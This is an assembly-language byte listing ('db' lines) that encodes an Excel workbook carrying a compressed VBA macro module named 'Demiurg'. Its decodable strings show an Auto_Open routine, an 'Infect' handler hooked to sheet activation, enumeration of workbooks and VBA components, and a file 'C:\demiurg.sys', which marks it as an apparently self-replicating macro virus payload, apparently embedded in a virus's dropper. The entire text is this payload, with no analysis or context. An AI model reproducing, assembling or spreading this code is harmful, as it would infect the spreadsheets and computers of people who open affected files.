db 000h, 0E6h, 004h, 0FFh, 078h, 000h, 000h, 000h
db 0DEh, 000h, 000h, 000h, 0AFh, 002h, 000h, 000h
db 0F5h, 001h, 000h, 000h, 0E6h, 004h, 0FFh, 0E6h
db 004h, 000h, 001h, 000h, 000h, 000h, 0B5h, 031h
db 0B9h, 031h, 000h, 000h, 0FFh, 0FFh, 023h, 000h
db 000h, 000h, 088h, 000h, 000h, 000h, 008h, 0E6h
db 020h, 000h, 0FFh, 0FFh, 000h, 000h, 0CBh, 002h
db 000h, 000h, 0D6h, 000h, 000h, 000h, 0D6h, 000h
db 000h, 000h, 01Fh, 003h, 0E6h, 004h, 000h, 0E6h
db 004h, 0FFh, 0E6h, 004h, 000h, 0DFh, 000h, 0FFh
db 0FFh, 0E6h, 004h, 000h, 00Ch, 000h, 0E6h, 080h
db 0FFh, 028h, 000h, 000h, 000h, 002h, 000h, 053h
db 04Ch, 0E6h, 004h, 0FFh, 000h, 000h, 001h, 000h
db 053h, 010h, 0E6h, 004h, 0FFh, 000h, 000h, 001h
db 000h, 053h, 094h, 0E6h, 004h, 0FFh, 0E6h, 004h
db 000h, 002h, 03Ch, 0E6h, 004h, 0FFh, 000h, 000h
db 0FFh, 0FFh, 001h, 001h, 0E6h, 004h, 000h, 001h
db 000h, 04Eh, 000h, 030h, 000h, 07Bh, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 032h, 000h, 030h
db 000h, 038h, 000h, 032h, 000h, 030h, 000h, 02Dh
db 000h, 030h, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 02Dh, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 030h, 000h, 02Dh, 000h, 043h, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 02Dh, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 030h, 000h, 030h, 000h, 030h, 000h, 030h
db 000h, 030h, 000h, 034h, 000h, 036h, 000h, 07Dh
db 0E6h, 007h, 000h, 0DFh, 0E6h, 004h, 000h, 0E6h
db 004h, 0FFh, 001h, 001h, 038h, 000h, 000h, 000h
db 002h, 081h, 0FEh, 0E6h, 009h, 0FFh, 028h, 0E6h
db 005h, 000h, 0FFh, 0FFh, 0E6h, 008h, 000h, 0E6h
db 008h, 0FFh, 0E6h, 004h, 000h, 01Dh, 000h, 000h
db 000h, 024h, 000h, 000h, 000h, 0E6h, 004h, 0FFh
db 048h, 0E6h, 005h, 000h, 0FFh, 0FFh, 000h, 000h
db 001h, 0E6h, 007h, 000h, 0E6h, 00Ch, 0FFh, 0E6h
db 004h, 000h, 0E6h, 010h, 0FFh, 0E6h, 004h, 000h
db 0E6h, 010h, 0FFh, 0E6h, 008h, 000h, 0E6h, 008h
db 0FFh, 0E6h, 004h, 000h, 0E6h, 01Eh, 0FFh, 04Dh
db 045h, 000h, 000h, 0E6h, 006h, 0FFh, 0E6h, 004h
db 000h, 0FFh, 0FFh, 0E6h, 004h, 000h, 0FFh, 0FFh
db 001h, 001h, 0E6h, 040h, 000h, 0FEh, 0CAh, 001h
db 000h, 000h, 000h, 0E6h, 004h, 0FFh, 001h, 001h
db 008h, 000h, 000h, 000h, 0E6h, 004h, 0FFh, 078h
db 000h, 000h, 000h, 001h, 09Ch, 0B0h, 000h, 041h
db 074h, 074h, 072h, 069h, 062h, 075h, 074h, 000h
db 065h, 020h, 056h, 042h, 05Fh, 04Eh, 061h, 06Dh
db 000h, 065h, 020h, 03Dh, 020h, 022h, 054h, 061h
db 062h, 000h, 065h, 06Ch, 06Ch, 065h, 031h, 022h
db 00Dh, 00Ah, 011h, 00Ah, 0F8h, 042h, 061h, 073h
db 002h, 07Ch, 030h, 07Bh, 030h, 000h, 030h, 030h
db 032h, 030h, 038h, 032h, 030h, 02Dh, 03Bh, 000h
db 020h, 004h, 008h, 043h, 000h, 014h, 002h, 01Ch
db 001h, 024h, 030h, 030h, 008h, 034h, 036h, 07Dh
db 00Dh, 07Ch, 043h, 072h, 065h, 061h, 010h, 074h
db 061h, 062h, 06Ch, 001h, 086h, 046h, 061h, 06Ch
db 004h, 073h, 065h, 00Ch, 0BCh, 050h, 072h, 065h
db 064h, 065h, 048h, 063h, 06Ch, 061h, 000h, 006h
db 049h, 064h, 000h, 087h, 054h, 004h, 072h, 075h
db 00Dh, 022h, 045h, 078h, 070h, 06Fh, 073h, 002h
db 065h, 014h, 01Ch, 054h, 065h, 06Dh, 070h, 06Ch
db 061h, 080h, 074h, 065h, 044h, 065h, 072h, 069h
db 076h, 002h, 024h, 001h, 011h, 065h, 043h, 075h
db 073h, 074h, 06Fh, 06Dh, 069h, 006h, 07Ah, 004h
db 088h, 003h, 032h, 000h, 001h, 016h, 001h, 000h
db 001h, 0B6h, 000h, 0FFh, 0FFh, 001h, 001h, 0E6h
db 004h, 000h, 0E6h, 004h, 0FFh, 0E6h, 004h, 000h
db 0E6h, 006h, 0FFh, 0E6h, 034h, 000h, 010h, 000h
db 000h, 000h, 003h, 000h, 000h, 000h, 005h, 000h
db 000h, 000h, 007h, 000h, 000h, 000h, 0E6h, 008h
db 0FFh, 001h, 001h, 008h, 000h, 000h, 000h, 0E6h
db 004h, 0FFh, 078h, 000h, 000h, 000h, 0DEh, 000h
db 000h, 000h, 037h, 003h, 000h, 000h, 0A5h, 001h
db 000h, 000h, 0E6h, 004h, 0FFh, 002h, 000h, 000h
db 000h, 001h, 000h, 000h, 000h, 0B5h, 031h, 0BBh
db 031h, 000h, 000h, 0FFh, 0FFh, 003h, 0E6h, 007h
db 000h, 002h, 0E6h, 020h, 000h, 0FFh, 0FFh, 000h
db 000h, 053h, 003h, 000h, 000h, 0D6h, 000h, 000h
db 000h, 0D6h, 000h, 000h, 000h, 0B7h, 005h, 0E6h
db 004h, 000h, 0E6h, 004h, 0FFh, 0E6h, 004h, 000h
db 0DFh, 000h, 0FFh, 0FFh, 0E6h, 006h, 000h, 0E6h
db 080h, 0FFh, 028h, 0E6h, 005h, 000h, 002h, 03Ch
db 00Ch, 000h, 0FFh, 0FFh, 0E6h, 004h, 000h, 002h
db 03Ch, 0E6h, 004h, 0FFh, 0E6h, 004h, 000h, 002h
db 03Ch, 004h, 000h, 0FFh, 0FFh, 0E6h, 004h, 000h
db 002h, 03Ch, 008h, 000h, 0FFh, 0FFh, 000h, 000h
db 0FFh, 0FFh, 001h, 001h, 0E6h, 006h, 000h, 0E8h
db 005h, 0C0h, 038h, 003h, 000h, 0DFh, 0E6h, 004h
db 000h, 050h, 000h, 000h, 000h, 001h, 001h, 010h
db 001h, 000h, 000h, 00Bh, 012h, 01Eh, 002h, 080h
db 0E6h, 006h, 000h, 060h, 0E6h, 004h, 000h, 0E6h
db 008h, 0FFh, 0E6h, 004h, 000h, 0E6h, 004h, 0FFh
db 0E6h, 004h, 000h, 0E6h, 00Ah, 0FFh, 000h, 000h
db 003h, 000h, 003h, 000h, 000h, 000h, 084h, 000h
db 000h, 001h, 0E6h, 006h, 000h, 080h, 000h, 000h
db 000h, 0E6h, 004h, 0FFh, 0E6h, 004h, 000h, 0E6h
db 004h, 0FFh, 0C0h, 000h, 000h, 000h, 028h, 0E6h
db 007h, 000h, 0E6h, 004h, 0FFh, 068h, 0FFh, 040h
db 000h, 0E6h, 00Ah, 0FFh, 001h, 000h, 003h, 000h
db 003h, 000h, 003h, 000h, 084h, 000h, 000h, 001h
db 0E6h, 006h, 000h, 00Bh, 012h, 02Ah, 002h, 0E6h
db 004h, 0FFh, 002h, 000h, 000h, 060h, 0E6h, 004h
db 000h, 0E6h, 008h, 0FFh, 0E6h, 004h, 000h, 0E6h
db 004h, 0FFh, 0E6h, 004h, 000h, 0E6h, 00Ah, 0FFh
db 002h, 000h, 00Dh, 000h, 00Dh, 000h, 006h, 000h
db 084h, 000h, 000h, 001h, 000h, 000h, 004h, 000h
db 0E6h, 006h, 0FFh, 010h, 000h, 000h, 000h, 040h
db 0E6h, 007h, 000h, 080h, 000h, 000h, 000h, 0E6h
db 004h, 0FFh, 002h, 083h, 01Ch, 002h, 0E6h, 004h
db 0FFh, 008h, 000h, 0FFh, 0FFh, 000h, 001h, 0E6h
db 004h, 000h, 0E6h, 006h, 0FFh, 0E6h, 004h, 000h
db 0E6h, 008h, 0FFh, 0E6h, 004h, 000h, 01Dh, 000h
db 000h, 000h, 024h, 000h, 000h, 000h, 0E6h, 004h
db 0FFh, 0F0h, 000h, 000h, 000h, 002h, 000h, 002h
db 0E6h, 00Fh, 000h, 0E6h, 010h, 0FFh, 080h, 000h
db 000h, 000h, 0E6h, 018h, 0FFh, 0D8h, 0E6h, 00Bh
db 000h, 008h, 000h, 004h, 000h, 0E6h, 004h, 0FFh
db 0E6h, 004h, 000h, 0E6h, 018h, 0FFh, 004h, 000h
db 040h, 000h, 000h, 000h, 04Dh, 045h, 000h, 000h
db 0E6h, 006h, 0FFh, 0E6h, 004h, 000h, 0FFh, 0FFh
db 0E6h, 004h, 000h, 0FFh, 0FFh, 001h, 001h, 0E6h
db 040h, 000h, 0FEh, 0CAh, 001h, 000h, 010h, 000h
db 022h, 081h, 008h, 000h, 006h, 000h, 00Ch, 0E6h
db 006h, 000h, 081h, 008h, 004h, 012h, 000h, 000h
db 000h, 008h, 000h, 000h, 000h, 004h, 081h, 008h
db 000h, 002h, 000h, 000h, 000h, 020h, 000h, 000h
db 000h, 022h, 081h, 008h, 000h, 006h, 000h, 00Ch
db 000h, 040h, 0E6h, 004h, 000h, 081h, 008h, 004h
db 00Ah, 000h, 000h, 000h, 048h, 0E6h, 004h, 000h
db 080h, 009h, 0E6h, 005h, 000h, 0E6h, 004h, 0FFh
db 000h, 081h, 008h, 004h, 026h, 000h, 000h, 000h
db 058h, 0E6h, 004h, 000h, 081h, 008h, 004h, 02Eh
db 000h, 000h, 000h, 080h, 0E6h, 004h, 000h, 080h
db 009h, 0E6h, 005h, 000h, 0E6h, 004h, 0FFh, 000h
db 081h, 008h, 008h, 01Eh, 000h, 000h, 000h, 0B0h
db 0E6h, 004h, 000h, 081h, 008h, 00Ch, 02Ch, 000h
db 000h, 000h, 0D0h, 0E6h, 004h, 000h, 081h, 008h
db 008h, 00Ah, 0E6h, 004h, 000h, 001h, 000h, 000h
db 000h, 080h, 009h, 0E6h, 005h, 000h, 0E6h, 004h
db 0FFh, 000h, 081h, 008h, 004h, 026h, 000h, 000h
db 000h, 010h, 001h, 000h, 000h, 000h, 081h, 008h
db 004h, 00Ah, 000h, 000h, 000h, 038h, 001h, 000h
db 000h, 004h, 081h, 008h, 000h, 002h, 000h, 000h
db 000h, 048h, 001h, 000h, 000h, 0E6h, 004h, 0FFh
db 001h, 001h, 058h, 001h, 000h, 000h, 08Fh, 004h
db 0E6h, 006h, 000h, 0AEh, 000h, 006h, 000h, 049h
db 06Eh, 066h, 065h, 063h, 074h, 020h, 000h, 020h
db 002h, 028h, 000h, 022h, 002h, 0E6h, 006h, 0FFh
db 06Ch, 000h, 0FFh, 0FFh, 058h, 000h, 000h, 000h
db 0AFh, 000h, 020h, 000h, 026h, 002h, 028h, 000h
db 028h, 002h, 0FFh, 0FFh, 015h, 002h, 000h, 000h
db 06Ch, 000h, 0FFh, 0FFh, 038h, 000h, 000h, 000h
db 08Fh, 004h, 080h, 0E6h, 005h, 000h, 0AFh, 000h
db 020h, 000h, 020h, 002h, 028h, 000h, 02Ch, 002h
db 0E6h, 006h, 0FFh, 020h, 000h, 032h, 002h, 021h
db 000h, 008h, 001h, 020h, 000h, 032h, 002h, 021h
db 000h, 008h, 001h, 01Bh, 000h, 0A4h, 000h, 001h
db 000h, 024h, 020h, 0FCh, 000h, 003h, 000h, 024h
db 000h, 030h, 002h, 001h, 000h, 027h, 000h, 02Eh
db 002h, 000h, 000h, 0AEh, 000h, 001h, 000h, 031h
db 000h, 024h, 000h, 030h, 002h, 001h, 000h, 020h
db 000h, 02Eh, 002h, 007h, 000h, 020h, 000h, 02Eh
db 002h, 0AEh, 000h, 001h, 000h, 039h, 000h, 024h
db 000h, 030h, 002h, 001h, 000h, 007h, 000h, 004h
db 000h, 094h, 000h, 046h, 000h, 075h, 000h, 067h
db 000h, 000h, 0F0h, 0F7h, 000h, 020h, 000h, 034h
db 002h, 0F6h, 000h, 0A4h, 000h, 001h, 000h, 020h
db 000h, 032h, 002h, 021h, 000h, 036h, 002h, 021h
db 000h, 038h, 002h, 021h, 000h, 03Ah, 002h, 08Bh
db 000h, 000h, 000h, 020h, 000h, 034h, 002h, 020h
db 000h, 032h, 002h, 021h, 000h, 036h, 002h, 025h
db 000h, 038h, 002h, 001h, 000h, 021h, 000h, 008h
db 001h, 0AEh, 000h, 007h, 000h, 044h, 065h, 06Dh
db 069h, 075h, 072h, 067h, 000h, 005h, 000h, 094h
db 000h, 046h, 000h, 075h, 000h, 067h, 000h, 0F8h
db 000h, 000h, 000h, 0F7h, 000h, 020h, 000h, 034h
db 002h, 0F6h, 000h, 0C0h, 000h, 000h, 0A0h, 048h
db 037h, 044h, 000h, 0AEh, 000h, 00Eh, 000h, 043h
db 03Ah, 05Ch, 064h, 065h, 06Dh, 069h, 075h, 072h
db 067h, 02Eh, 073h, 079h, 073h, 01Dh, 000h, 020h
db 000h, 032h, 002h, 021h, 000h, 036h, 002h, 021h
db 000h, 038h, 002h, 042h, 040h, 03Ch, 002h, 001h
db 000h, 000h, 000h, 020h, 000h, 032h, 002h, 042h
db 040h, 03Eh, 002h, 0E6h, 004h, 000h, 021h, 000h
db 000h, 0A0h, 06Ch, 000h, 0FFh, 0FFh, 0A8h, 000h
db 000h, 000h, 0E6h, 004h, 0FFh, 0A8h, 000h, 000h
db 000h, 001h, 064h, 0B1h, 000h, 041h, 074h, 074h
db 072h, 069h, 062h, 075h, 074h, 000h, 065h, 020h
db 056h, 042h, 05Fh, 04Eh, 061h, 06Dh, 000h, 065h
db 020h, 03Dh, 020h, 022h, 044h, 065h, 06Dh, 000h
db 069h, 075h, 072h, 067h, 022h, 00Dh, 00Ah, 053h
db 000h, 075h, 062h, 020h, 041h, 075h, 074h, 06Fh
db 05Fh, 000h, 04Fh, 070h, 065h, 06Eh, 028h, 029h
db 00Dh, 00Ah, 002h, 020h, 000h, 000h, 041h, 070h
db 070h, 06Ch, 069h, 063h, 000h, 061h, 074h, 069h
db 06Fh, 06Eh, 02Eh, 04Fh, 06Eh, 000h, 053h, 068h
db 065h, 065h, 074h, 041h, 063h, 074h, 018h, 069h
db 076h, 061h, 000h, 08Ah, 000h, 07Ah, 049h, 06Eh
db 066h, 008h, 065h, 063h, 074h, 000h, 078h, 045h
db 06Eh, 064h, 020h, 00Fh, 000h, 080h, 003h, 08Ah
db 003h, 02Ah, 011h, 084h, 044h, 069h, 073h, 070h
db 000h, 06Ch, 061h, 079h, 041h, 06Ch, 065h, 072h
db 074h, 002h, 073h, 000h, 07Eh, 046h, 061h, 06Ch
db 073h, 065h, 00Dh, 002h, 00Ah, 003h, 06Bh, 06Ch
db 061h, 073h, 074h, 063h, 068h, 004h, 061h, 072h
db 000h, 017h, 041h, 073h, 063h, 028h, 04Dh, 010h
db 069h, 064h, 024h, 028h, 002h, 06Ch, 065h, 057h
db 06Fh, 080h, 072h, 06Bh, 062h, 06Fh, 06Fh, 06Bh
db 02Eh, 001h, 0B5h, 018h, 02Ch, 020h, 04Ch, 000h
db 09Fh, 010h, 018h, 029h, 02Ch, 020h, 044h, 031h
db 029h, 004h, 0B7h, 049h, 066h, 020h, 001h, 043h
db 022h, 080h, 031h, 022h, 029h, 020h, 03Ch, 03Dh
db 020h, 006h, 05Ah, 05Eh, 041h, 080h, 053h, 006h
db 006h, 000h, 00Ch, 002h, 012h, 039h, 000h, 012h
db 054h, 000h, 068h, 065h, 06Eh, 020h, 045h, 078h
db 069h, 074h, 007h, 003h, 063h, 083h, 048h, 081h
db 080h, 046h, 06Fh, 072h, 020h, 069h, 041h, 000h
db 049h, 031h, 020h, 054h, 06Fh, 020h, 08Ch, 03Ah
db 056h, 020h, 042h, 050h, 072h, 06Fh, 06Ah, 080h
db 080h, 02Eh, 056h, 000h, 042h, 043h, 06Fh, 06Dh
db 070h, 06Fh, 06Eh, 065h, 000h, 06Eh, 074h, 073h
db 02Eh, 063h, 06Fh, 075h, 06Eh, 07Eh, 074h, 087h
db 020h, 081h, 022h, 081h, 047h, 081h, 09Bh, 007h
db 065h, 093h, 01Dh, 028h, 0DCh, 069h, 029h, 002h
db 072h, 000h, 038h, 006h, 0CDh, 020h, 08Ch, 04Dh
db 081h, 027h, 081h, 081h, 001h, 04Eh, 065h, 078h
db 074h, 020h, 069h, 085h, 09Eh, 005h, 023h, 04Dh
db 049h, 000h, 029h, 072h, 074h, 020h, 028h, 022h
db 010h, 043h, 03Ah, 05Ch, 064h, 083h, 07Eh, 02Eh
db 073h, 079h, 08Ch, 073h, 022h, 085h, 07Bh, 0CBh
db 028h, 053h, 061h, 076h, 040h, 067h, 001h, 0C6h
db 076h, 0E6h, 021h, 000h, 0CCh, 061h, 05Eh, 000h
db 000h, 001h, 000h, 0FFh, 007h, 00Ch, 000h, 000h
db 009h, 004h, 000h, 000h, 0E4h, 004h, 001h, 0E6h
db 009h, 000h, 001h, 000h, 005h, 000h, 002h, 000h
db 01Ah, 001h, 02Ah, 000h, 05Ch, 000h, 047h, 000h
db 07Bh, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 032h, 000h, 030h, 000h, 034h, 000h, 045h, 000h
db 046h, 000h, 02Dh, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 02Dh, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 02Dh, 000h
db 043h, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 02Dh, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 034h, 000h
db 036h, 000h, 07Dh, 000h, 023h, 000h, 033h, 000h
db 02Eh, 000h, 030h, 000h, 023h, 000h, 039h, 000h
db 023h, 000h, 043h, 000h, 03Ah, 000h, 05Ch, 000h
db 050h, 000h, 052h, 000h, 04Fh, 000h, 047h, 000h
db 052h, 000h, 041h, 000h, 04Dh, 000h, 04Dh, 000h
db 045h, 000h, 05Ch, 000h, 047h, 000h, 045h, 000h
db 04Dh, 000h, 045h, 000h, 049h, 000h, 04Eh, 000h
db 053h, 000h, 041h, 000h, 04Dh, 000h, 045h, 000h
db 020h, 000h, 044h, 000h, 041h, 000h, 054h, 000h
db 045h, 000h, 049h, 000h, 045h, 000h, 04Eh, 000h
db 05Ch, 000h, 04Dh, 000h, 049h, 000h, 043h, 000h
db 052h, 000h, 04Fh, 000h, 053h, 000h, 04Fh, 000h
db 046h, 000h, 054h, 000h, 020h, 000h, 053h, 000h
db 048h, 000h, 041h, 000h, 052h, 000h, 045h, 000h
db 044h, 000h, 05Ch, 000h, 056h, 000h, 042h, 000h
db 041h, 000h, 05Ch, 000h, 056h, 000h, 042h, 000h
db 041h, 000h, 033h, 000h, 033h, 000h, 032h, 000h
db 02Eh, 000h, 044h, 000h, 04Ch, 000h, 04Ch, 000h
db 023h, 000h, 056h, 000h, 069h, 000h, 073h, 000h
db 075h, 000h, 061h, 000h, 06Ch, 000h, 020h, 000h
db 042h, 000h, 061h, 000h, 073h, 000h, 069h, 000h
db 063h, 000h, 020h, 000h, 046h, 000h, 06Fh, 000h
db 072h, 000h, 020h, 000h, 041h, 000h, 070h, 000h
db 070h, 000h, 06Ch, 000h, 069h, 000h, 063h, 000h
db 061h, 000h, 074h, 000h, 069h, 000h, 06Fh, 000h
db 06Eh, 000h, 073h, 0E6h, 00Dh, 000h, 004h, 001h
db 02Ah, 000h, 05Ch, 000h, 047h, 000h, 07Bh, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 032h, 000h
db 030h, 000h, 038h, 000h, 031h, 000h, 033h, 000h
db 02Dh, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 02Dh, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 02Dh, 000h, 043h, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 02Dh, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 034h, 000h, 036h, 000h
db 07Dh, 000h, 023h, 000h, 031h, 000h, 02Eh, 000h
db 032h, 000h, 023h, 000h, 030h, 000h, 023h, 000h
db 043h, 000h, 03Ah, 000h, 05Ch, 000h, 050h, 000h
db 072h, 000h, 06Fh, 000h, 067h, 000h, 072h, 000h
db 061h, 000h, 06Dh, 000h, 06Dh, 000h, 065h, 000h
db 05Ch, 000h, 04Dh, 000h, 069h, 000h, 063h, 000h
db 072h, 000h, 06Fh, 000h, 073h, 000h, 06Fh, 000h
db 066h, 000h, 074h, 000h, 020h, 000h, 04Fh, 000h
db 066h, 000h, 066h, 000h, 069h, 000h, 063h, 000h
db 065h, 000h, 05Ch, 000h, 04Fh, 000h, 066h, 000h
db 066h, 000h, 069h, 000h, 063h, 000h, 065h, 000h
db 05Ch, 000h, 045h, 000h, 058h, 000h, 043h, 000h
db 045h, 000h, 04Ch, 000h, 038h, 000h, 02Eh, 000h
db 04Fh, 000h, 04Ch, 000h, 042h, 000h, 023h, 000h
db 04Dh, 000h, 069h, 000h, 063h, 000h, 072h, 000h
db 06Fh, 000h, 073h, 000h, 06Fh, 000h, 066h, 000h
db 074h, 000h, 020h, 000h, 045h, 000h, 078h, 000h
db 063h, 000h, 065h, 000h, 06Ch, 000h, 020h, 000h
db 038h, 000h, 02Eh, 000h, 030h, 000h, 020h, 000h
db 04Fh, 000h, 062h, 000h, 06Ah, 000h, 065h, 000h
db 063h, 000h, 074h, 000h, 020h, 000h, 04Ch, 000h
db 069h, 000h, 062h, 000h, 072h, 000h, 061h, 000h
db 072h, 000h, 079h, 0E6h, 00Dh, 000h, 0B8h, 000h
db 02Ah, 000h, 05Ch, 000h, 047h, 000h, 07Bh, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 032h, 000h
db 030h, 000h, 034h, 000h, 033h, 000h, 030h, 000h
db 02Dh, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 02Dh, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 02Dh, 000h, 043h, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 02Dh, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 030h, 000h, 030h, 000h
db 030h, 000h, 030h, 000h, 034h, 000h, 036h, 000h
db 07Dh, 000h, 023h, 000h, 032h, 000h, 02Eh, 000h
db 030h, 000h, 023h, 000h, 030h, 000h, 023h, 000h
db 043h, 000h, 03Ah, 000h, 05Ch, 000h, 057h, 000h
db 049h, 000h, 04Eh, 000h, 044h, 000h, 04Fh, 000h
db 057h, 000h, 053h, 000h, 05Ch, 000h, 053h, 000h
db 059h, 000h, 053h, 000h, 054h, 000h, 045h, 000h
db 04Dh, 000h, 05Ch, 000h, 053h, 000h, 054h, 000h
db 044h, 000h, 04Fh, 000h, 04Ch, 000h, 045h, 000h
db 032h, 000h, 02Eh, 000h, 054h, 000h, 04Ch, 000h
db 042h, 000h, 023h, 000h, 04Fh, 000h, 04Ch, 000h
db 045h, 000h, 020h, 000h, 041h, 000h, 075h, 000h
db 074h, 000h, 06Fh, 000h, 06Dh, 000h, 061h, 000h
db 074h, 000h, 069h, 000h, 06Fh, 000h, 06Eh, 0E6h
db 00Dh, 000h, 0E0h, 000h, 02Ah, 000h, 05Ch, 000h
db 047h, 000h, 07Bh, 000h, 036h, 000h, 032h, 000h
db 041h, 000h, 033h, 000h, 032h, 000h, 043h, 000h
db 036h, 000h, 032h, 000h, 02Dh, 000h, 041h, 000h
db 033h, 000h, 036h, 000h, 044h, 000h, 02Dh, 000h
db 031h, 000h, 031h, 000h, 044h, 000h, 033h, 000h
db 02Dh, 000h, 041h, 000h, 035h, 000h, 030h, 000h
db 030h, 000h, 02Dh, 000h, 041h, 000h, 036h, 000h
db 046h, 000h, 033h, 000h, 044h, 000h, 044h, 000h
db 041h, 000h, 044h, 000h, 038h, 000h, 032h, 000h
db 033h, 000h, 039h, 000h, 07Dh, 000h, 023h, 000h
db 032h, 000h, 02Eh, 000h, 030h, 000h, 023h, 000h
db 030h, 000h, 023h, 000h, 043h, 000h, 03Ah, 000h
db 05Ch, 000h, 057h, 000h, 049h, 000h, 04Eh, 000h
db 044h, 000h, 04Fh, 000h, 057h, 000h, 053h, 000h
db 05Ch, 000h, 053h, 000h, 059h, 000h, 053h, 000h
db 054h, 000h, 045h, 000h, 04Dh, 000h, 05Ch, 000h
db 04Dh, 000h, 053h, 000h, 046h, 000h, 06Fh, 000h
db 072h, 000h, 06Dh, 000h, 073h, 000h, 02Eh, 000h
db 054h, 000h, 057h, 000h, 044h, 000h, 023h, 000h
db 04Dh, 000h, 069h, 000h, 063h, 000h, 072h, 000h
db 06Fh, 000h, 073h, 000h, 06Fh, 000h, 066h, 000h
db 074h, 000h, 020h, 000h, 046h, 000h, 06Fh, 000h
db 072h, 000h, 06Dh, 000h, 073h, 000h, 020h, 000h
db 032h, 000h, 02Eh, 000h, 030h, 000h, 020h, 000h
db 04Fh, 000h, 062h, 000h, 06Ah, 000h, 065h, 000h
db 063h, 000h, 074h, 000h, 020h, 000h, 04Ch, 000h
db 069h, 000h, 062h, 000h, 072h, 000h, 061h, 000h
db 072h, 000h, 079h, 0E6h, 00Bh, 000h, 001h, 000h
db 0E4h, 000h, 02Ah, 000h, 05Ch, 000h, 047h, 000h
db 07Bh, 000h, 036h, 000h, 032h, 000h, 041h, 000h
db 033h, 000h, 032h, 000h, 043h, 000h, 036h, 000h
db 033h, 000h, 02Dh, 000h, 041h, 000h, 033h, 000h
db 036h, 000h, 044h, 000h, 02Dh, 000h, 031h, 000h
db 031h, 000h, 044h, 000h, 033h, 000h, 02Dh, 000h
db 081h, 000h, 000h, 000h, 082h, 000h, 000h, 000h
db 083h, 000h, 000h, 000h, 084h, 000h, 000h, 000h
db 085h, 000h, 000h, 000h, 086h, 000h, 000h, 000h
db 087h, 000h, 000h, 000h, 088h, 000h, 000h, 000h
db 089h, 000h, 000h, 000h, 08Ah, 000h, 000h, 000h
db 08Bh, 000h, 000h, 000h, 08Ch, 000h, 000h, 000h
db 08Dh, 000h, 000h, 000h, 08Eh, 000h, 000h, 000h
db 08Fh, 000h, 000h, 000h, 090h, 000h, 000h, 000h
db 091h, 000h, 000h, 000h, 092h, 000h, 000h, 000h
db 093h, 000h, 000h, 000h, 094h, 000h, 000h, 000h
db 095h, 000h, 000h, 000h, 096h, 000h, 000h, 000h
db 097h, 000h, 000h, 000h, 098h, 000h, 000h, 000h
db 0FEh, 0FFh, 0FFh, 0FFh, 09Ah, 000h, 000h, 000h
db 09Bh, 000h, 000h, 000h, 09Ch, 000h, 000h, 000h
db 09Dh, 000h, 000h, 000h, 09Eh, 000h, 000h, 000h
db 09Fh, 000h, 000h, 000h, 0A0h, 000h, 000h, 000h
db 0A1h, 000h, 000h, 000h, 0A2h, 000h, 000h, 000h
db 0A3h, 000h, 000h, 000h, 0A4h, 000h, 000h, 000h
db 0FEh, 0FFh, 0FFh, 0FFh, 0A6h, 000h, 000h, 000h
db 0FEh, 0FFh, 0FFh, 0FFh, 0A8h, 000h, 000h, 000h
db 0A9h, 000h, 000h, 000h, 0AAh, 000h, 000h, 000h
db 0ABh, 000h, 000h, 000h, 0ACh, 000h, 000h, 000h
db 0ADh, 000h, 000h, 000h, 0FEh, 0FFh, 0FFh, 0FFh
db 0AFh, 000h, 000h, 000h, 0B0h, 000h, 000h, 000h
db 0FEh, 0FFh, 0FFh, 0FFh, 0B2h, 000h, 000h, 000h
db 0B3h, 000h, 000h, 000h, 0B4h, 000h, 000h, 000h
db 0B5h, 000h, 000h, 000h, 0B6h, 000h, 000h, 000h
db 0B7h, 000h, 000h, 000h, 0FEh, 0FFh, 0FFh, 0FFh
db 0B9h, 000h, 000h, 000h, 0FEh, 0E6h, 0FFh, 0FFh
db 0E6h, 01Ch, 0FFh, 041h, 000h, 035h, 000h, 030h
db 000h, 030h, 000h, 02Dh, 000h, 041h, 000h, 036h
db 000h, 046h, 000h, 033h, 000h, 044h, 000h, 044h
db 000h, 041h, 000h, 044h, 000h, 038h, 000h, 032h
db 000h, 033h, 000h, 039h, 000h, 07Dh, 000h, 023h
db 000h, 032h, 000h, 02Eh, 000h, 030h, 000h, 023h
db 000h, 030h, 000h, 023h, 000h, 043h, 000h, 03Ah
db 000h, 05Ch, 000h, 057h, 000h, 049h, 000h, 04Eh
db 000h, 044h, 000h, 04Fh, 000h, 057h, 000h, 053h
db 000h, 05Ch, 000h, 054h, 000h, 045h, 000h, 04Dh
db 000h, 050h, 000h, 05Ch, 000h, 056h, 000h, 042h
db 000h, 045h, 000h, 05Ch, 000h, 04Dh, 000h, 053h
db 000h, 046h, 000h, 06Fh, 000h, 072h, 000h, 06Dh
db 000h, 073h, 000h, 02Eh, 000h, 045h, 000h, 058h
db 000h, 044h, 000h, 023h, 000h, 04Dh, 000h, 069h
db 000h, 063h, 000h, 072h, 000h, 06Fh, 000h, 073h
db 000h, 06Fh, 000h, 066h, 000h, 074h, 000h, 020h
db 000h, 046h, 000h, 06Fh, 000h, 072h, 000h, 06Dh
db 000h, 073h, 000h, 020h, 000h, 032h, 000h, 02Eh
db 000h, 030h, 000h, 020h, 000h, 04Fh, 000h, 062h
db 000h, 06Ah, 000h, 065h, 000h, 063h, 000h, 074h
